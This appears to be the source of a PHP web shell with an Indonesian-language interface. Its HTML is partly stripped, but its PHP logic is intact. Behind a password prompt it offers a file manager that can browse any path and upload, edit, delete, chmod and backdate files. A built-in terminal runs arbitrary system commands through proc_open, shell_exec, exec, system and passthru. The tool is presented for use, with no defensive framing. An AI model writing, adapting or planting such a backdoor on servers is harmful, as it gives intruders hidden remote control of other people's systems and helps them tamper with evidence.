🔐 Masukkan Password





'; if (isset($error)) { echo '
' . htmlspecialchars($error) . '
'; } echo '
'; exit; } ?> = 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' B'; } } function getIcon($path) { return is_dir($path) ? '📁' : '📄'; } $currentPath = isset($_GET['d']) ? $_GET['d'] : getcwd(); if (!is_dir($currentPath)) { $currentPath = getcwd(); } if (isset($_POST['upload'])) { $targetFile = $currentPath . DIRECTORY_SEPARATOR . $_FILES['uploaded_file']['name']; if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetFile)) { echo ""; } else { echo ""; } } if (isset($_GET['edit']) && is_file($_GET['edit'])) { $fileToEdit = $_GET['edit']; $fileContent = htmlspecialchars(file_get_contents($fileToEdit)); echo "

Edit File: " . basename($fileToEdit) . "


"; } if (isset($_POST['save_edit']) && isset($_POST['file_path'])) { file_put_contents($_POST['file_path'], $_POST['edited_content']); echo ""; exit; } if (isset($_POST['create_folder'])) { $folderName = $_POST['folder_name']; if ($folderName && mkdir($currentPath . DIRECTORY_SEPARATOR . $folderName)) { echo ""; } else { echo ""; } } if (isset($_POST['rename'])) { $oldPath = $_POST['rename_path']; $newName = $_POST['new_name']; $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $newName; if (rename($oldPath, $newPath)) { echo ""; } else { echo ""; } } if (isset($_POST['edit_chmod'])) { $chmodPath = $_POST['chmod_path']; $newPerms = $_POST['new_chmod']; if (preg_match('/^[0-7]{3,4}$/', $newPerms)) { chmod($chmodPath, octdec($newPerms)); echo ""; } else { echo ""; } } if (isset($_POST['edit_date']) && isset($_POST['touch_path']) && isset($_POST['new_date'])) { $path = $_POST['touch_path']; $newTime = strtotime($_POST['new_date']); if ($newTime !== false && file_exists($path)) { if (touch($path, $newTime)) { echo ""; } else { echo ""; } } else { echo ""; } } if (isset($_POST['delete_path'])) { $deletePath = $_POST['delete_path']; if (is_dir($deletePath)) { rmdir($deletePath); } else { unlink($deletePath); } echo ""; } if (isset($_GET['view'])) { $viewPath = $_GET['view']; if (is_file($viewPath)) { $fileContent = htmlspecialchars(file_get_contents($viewPath)); echo " Lihat File - " . basename($viewPath) . "

👁️ Lihat File: " . x(basename($viewPath)) . "


Kembali "; exit; } } if (isset($_POST['create_file'])) { $newFileName = $_POST['new_file_name']; $newFileContent = $_POST['new_file_content']; $newFilePath = $currentPath . DIRECTORY_SEPARATOR . $newFileName; if (file_put_contents($newFilePath, $newFileContent)) { echo ""; } else { echo ""; } } $terminalOutput = ''; if (isset($_POST['run_command'])) { chdir($currentPath); $command = $_POST['command']; if (function_exists('proc_open')) { $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); $terminalOutput = htmlspecialchars($output . $error); } else { $terminalOutput = "proc_open tidak dapat digunakan."; } } else { // Fallback if (function_exists('shell_exec')) { $terminalOutput = htmlspecialchars(shell_exec($command)); } elseif (function_exists('exec')) { $out = []; exec($command, $out); $terminalOutput = htmlspecialchars(implode("\n", $out)); } elseif (function_exists('system')) { ob_start(); system($command); $terminalOutput = htmlspecialchars(ob_get_clean()); } elseif (function_exists('passthru')) { ob_start(); passthru($command); $terminalOutput = htmlspecialchars(ob_get_clean()); } else { $terminalOutput = "Tidak ada fungsi eksekusi command yang tersedia."; } } } if (isset($_POST['ajax_command'])) { chdir($currentPath); $command = $_POST['ajax_command']; $output = ''; if (function_exists('proc_open')) { $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); echo htmlspecialchars($output . $error); } else { echo "proc_open tidak tersedia."; } } elseif (function_exists('shell_exec')) { echo htmlspecialchars(shell_exec($command)); } elseif (function_exists('exec')) { $out = []; exec($command, $out); echo htmlspecialchars(implode("\n", $out)); } elseif (function_exists('system')) { ob_start(); system($command); echo htmlspecialchars(ob_get_clean()); } elseif (function_exists('passthru')) { ob_start(); passthru($command); echo htmlspecialchars(ob_get_clean()); } else { echo "Tidak ada fungsi eksekusi yang tersedia."; } exit; } ?>

📂 FILE MANAGER

'; ?>
" . x($file) . "" : "" . x($file) . ""; echo ""; } ?>
Name Perm Size Tanggal Action
$icon $link
$size
"; // Hanya tampilkan tombol edit untuk file if (is_file($fullPath) && is_readable($fullPath)) { echo " "; } echo "

403 v1.1.9